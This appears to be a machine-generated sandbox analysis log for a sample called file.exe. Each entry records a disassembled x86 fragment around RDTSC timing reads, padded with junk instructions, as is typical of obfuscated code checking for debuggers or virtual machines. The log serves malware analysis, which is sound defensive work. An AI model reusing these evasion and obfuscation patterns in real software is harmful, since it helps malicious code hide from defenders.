Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0987 second address: 48F09B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test eax, eax 0x00000009 jmp 00007FF34C7875D4h 0x0000000e je 00007FF3BEDBA588h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF34C7875CAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09B8 second address: 48F09BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09BE second address: 48F09C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09C4 second address: 48F09C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09C8 second address: 48F09CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09CC second address: 48F09DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b push esi 0x0000000c mov eax, edi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09DF second address: 48F09E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F09E3 second address: 48F0A53 instructions: 0x00000000 rdtsc 0x00000002 call 00007FF34D3F6B06h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor eax, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f mov edx, 6AFEC96Eh 0x00000014 popad 0x00000015 and ecx, 1Fh 0x00000018 jmp 00007FF34D3F6B05h 0x0000001d ror eax, cl 0x0000001f jmp 00007FF34D3F6AFEh 0x00000024 leave 0x00000025 pushad 0x00000026 movzx eax, dx 0x00000029 mov ebx, 3CF54F7Eh 0x0000002e popad 0x0000002f retn 0004h 0x00000032 nop 0x00000033 mov esi, eax 0x00000035 lea eax, dword ptr [ebp-08h] 0x00000038 xor esi, dword ptr [00482014h] 0x0000003e push eax 0x0000003f push eax 0x00000040 push eax 0x00000041 lea eax, dword ptr [ebp-10h] 0x00000044 push eax 0x00000045 call 00007FF3518A7475h 0x0000004a push FFFFFFFEh 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FF34D3F6B00h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0A53 second address: 48F0AAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34C7875D1h 0x00000009 xor cl, FFFFFFB6h 0x0000000c jmp 00007FF34C7875D1h 0x00000011 popfd 0x00000012 mov ecx, 67FAD3A7h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop eax 0x0000001b jmp 00007FF34C7875CAh 0x00000020 ret 0x00000021 nop 0x00000022 push eax 0x00000023 call 00007FF350C37F90h 0x00000028 mov edi, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FF34C7875D7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0AAC second address: 48F0AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0AB2 second address: 48F0AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0AB6 second address: 48F0ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0050 second address: 48A008E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF34C7875D1h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FF34C7875CEh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A008E second address: 48A0092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0092 second address: 48A0098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0098 second address: 48A009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A009E second address: 48A0100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b pushad 0x0000000c movzx eax, bx 0x0000000f pushfd 0x00000010 jmp 00007FF34C7875D5h 0x00000015 jmp 00007FF34C7875CBh 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FF34C7875CBh 0x00000026 or ax, 404Eh 0x0000002b jmp 00007FF34C7875D9h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0100 second address: 48A0146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF34D3F6B01h 0x00000011 xor ecx, 0979AB36h 0x00000017 jmp 00007FF34D3F6B01h 0x0000001c popfd 0x0000001d mov dh, ah 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0146 second address: 48A015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A015A second address: 48A01E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34D3F6B01h 0x00000009 xor ax, 7DF6h 0x0000000e jmp 00007FF34D3F6B01h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FF34D3F6B00h 0x0000001a and eax, 11DCC718h 0x00000020 jmp 00007FF34D3F6AFBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebx 0x0000002a jmp 00007FF34D3F6B06h 0x0000002f push eax 0x00000030 pushad 0x00000031 mov ebx, 35246D24h 0x00000036 push ebx 0x00000037 mov dx, ax 0x0000003a pop esi 0x0000003b popad 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FF34D3F6AFDh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A01E2 second address: 48A01F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A01F7 second address: 48A01FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A01FD second address: 48A0201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0201 second address: 48A0220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF34D3F6B02h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0220 second address: 48A0232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0232 second address: 48A0241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0241 second address: 48A0245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0245 second address: 48A025E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A025E second address: 48A02B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007FF34C7875CEh 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FF34C7875CEh 0x0000001b xor ax, 0488h 0x00000020 jmp 00007FF34C7875CBh 0x00000025 popfd 0x00000026 mov cx, A4FFh 0x0000002a popad 0x0000002b xchg eax, edi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push ebx 0x00000030 pop eax 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A02B6 second address: 48A02F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF34D3F6AFBh 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF34D3F6B05h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A02F4 second address: 48A033C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34C7875D7h 0x00000009 add ecx, 25BD143Eh 0x0000000f jmp 00007FF34C7875D9h 0x00000014 popfd 0x00000015 mov edi, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A033C second address: 48A034B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A034B second address: 48A038D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34C7875CFh 0x00000008 call 00007FF34C7875D8h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007FF3BEE05862h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF34C7875CCh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A038D second address: 48A039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34D3F6AFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A039F second address: 48A0428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 mov eax, 07B4593Bh 0x00000018 pushfd 0x00000019 jmp 00007FF34C7875D0h 0x0000001e or ecx, 42165788h 0x00000024 jmp 00007FF34C7875CBh 0x00000029 popfd 0x0000002a popad 0x0000002b je 00007FF3BEE05810h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 call 00007FF34C7875CBh 0x00000039 pop eax 0x0000003a pushfd 0x0000003b jmp 00007FF34C7875D9h 0x00000040 sub ax, C556h 0x00000045 jmp 00007FF34C7875D1h 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0428 second address: 48A042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A042E second address: 48A0432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0432 second address: 48A0451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c mov di, D778h 0x00000010 push ebx 0x00000011 mov bx, ax 0x00000014 pop eax 0x00000015 popad 0x00000016 or edx, dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0451 second address: 48A0455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0455 second address: 48A0459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0459 second address: 48A045F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A045F second address: 48A04C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f pushad 0x00000010 popad 0x00000011 jne 00007FF3BFA74D00h 0x00000017 jmp 00007FF34D3F6AFCh 0x0000001c test byte ptr [esi+48h], 00000001h 0x00000020 jmp 00007FF34D3F6B00h 0x00000025 jne 00007FF3BFA74CF3h 0x0000002b jmp 00007FF34D3F6B00h 0x00000030 test bl, 00000007h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A04C3 second address: 48A04C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A04C7 second address: 48A04CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890847 second address: 489084E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 03h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489084E second address: 4890865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF34D3F6AFBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890865 second address: 48908AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov eax, 1E864B43h 0x00000010 jmp 00007FF34C7875D8h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov edi, 1A7090B4h 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48908AC second address: 48908FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xchg eax, esi 0x00000007 pushad 0x00000008 pushfd 0x00000009 jmp 00007FF34D3F6B07h 0x0000000e sbb si, ACFEh 0x00000013 jmp 00007FF34D3F6B09h 0x00000018 popfd 0x00000019 popad 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF34D3F6AFDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48908FE second address: 489091B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489091B second address: 489091F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489091F second address: 4890937 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890937 second address: 489093D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489093D second address: 4890941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890941 second address: 48909AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007FF34D3F6B09h 0x0000000f je 00007FF3BFA7C520h 0x00000015 pushad 0x00000016 movzx esi, di 0x00000019 pushfd 0x0000001a jmp 00007FF34D3F6B09h 0x0000001f adc ax, EE06h 0x00000024 jmp 00007FF34D3F6B01h 0x00000029 popfd 0x0000002a popad 0x0000002b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48909AD second address: 48909B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48909B1 second address: 48909B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48909B7 second address: 4890A0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34C7875D0h 0x00000009 or esi, 729CFFD8h 0x0000000f jmp 00007FF34C7875CBh 0x00000014 popfd 0x00000015 mov edi, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, esi 0x0000001c jmp 00007FF34C7875D2h 0x00000021 je 00007FF3BEE0CF73h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FF34C7875CAh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890A0A second address: 4890A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890A0E second address: 4890A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890A14 second address: 4890B2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34D3F6AFCh 0x00000009 and ch, FFFFFF98h 0x0000000c jmp 00007FF34D3F6AFBh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FF34D3F6B08h 0x00000018 adc si, EEF8h 0x0000001d jmp 00007FF34D3F6AFBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 test byte ptr [76FA6968h], 00000002h 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FF34D3F6B04h 0x00000034 or cl, 00000058h 0x00000037 jmp 00007FF34D3F6AFBh 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007FF34D3F6B08h 0x00000043 add si, 53B8h 0x00000048 jmp 00007FF34D3F6AFBh 0x0000004d popfd 0x0000004e popad 0x0000004f jne 00007FF3BFA7C3F5h 0x00000055 pushad 0x00000056 mov eax, 42823C0Bh 0x0000005b push ecx 0x0000005c pushfd 0x0000005d jmp 00007FF34D3F6B07h 0x00000062 xor ax, D22Eh 0x00000067 jmp 00007FF34D3F6B09h 0x0000006c popfd 0x0000006d pop esi 0x0000006e popad 0x0000006f mov edx, dword ptr [ebp+0Ch] 0x00000072 jmp 00007FF34D3F6B07h 0x00000077 xchg eax, ebx 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007FF34D3F6B05h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890B2F second address: 4890B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890B3F second address: 4890B9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF34D3F6AFFh 0x00000013 or si, 82FEh 0x00000018 jmp 00007FF34D3F6B09h 0x0000001d popfd 0x0000001e mov di, ax 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 jmp 00007FF34D3F6AFAh 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF34D3F6AFAh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890B9F second address: 4890BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890BA3 second address: 4890BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890BA9 second address: 4890BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890BAF second address: 4890BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890BB3 second address: 4890BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007FF34C7875D5h 0x0000000f mov edx, esi 0x00000011 pop ecx 0x00000012 mov eax, ebx 0x00000014 popad 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF34C7875D2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890BED second address: 4890C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0094h 0x00000007 pushfd 0x00000008 jmp 00007FF34D3F6AFDh 0x0000000d jmp 00007FF34D3F6AFBh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push dword ptr [ebp+14h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890C1A second address: 4890C20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890C20 second address: 4890C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890C26 second address: 4890C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890C2A second address: 4890C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890C51 second address: 4890C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890C56 second address: 4890C83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF34D3F6AFDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0EAD second address: 48A0EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A0EB4 second address: 48A0EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF34D3F6AFBh 0x0000000f rdtsc
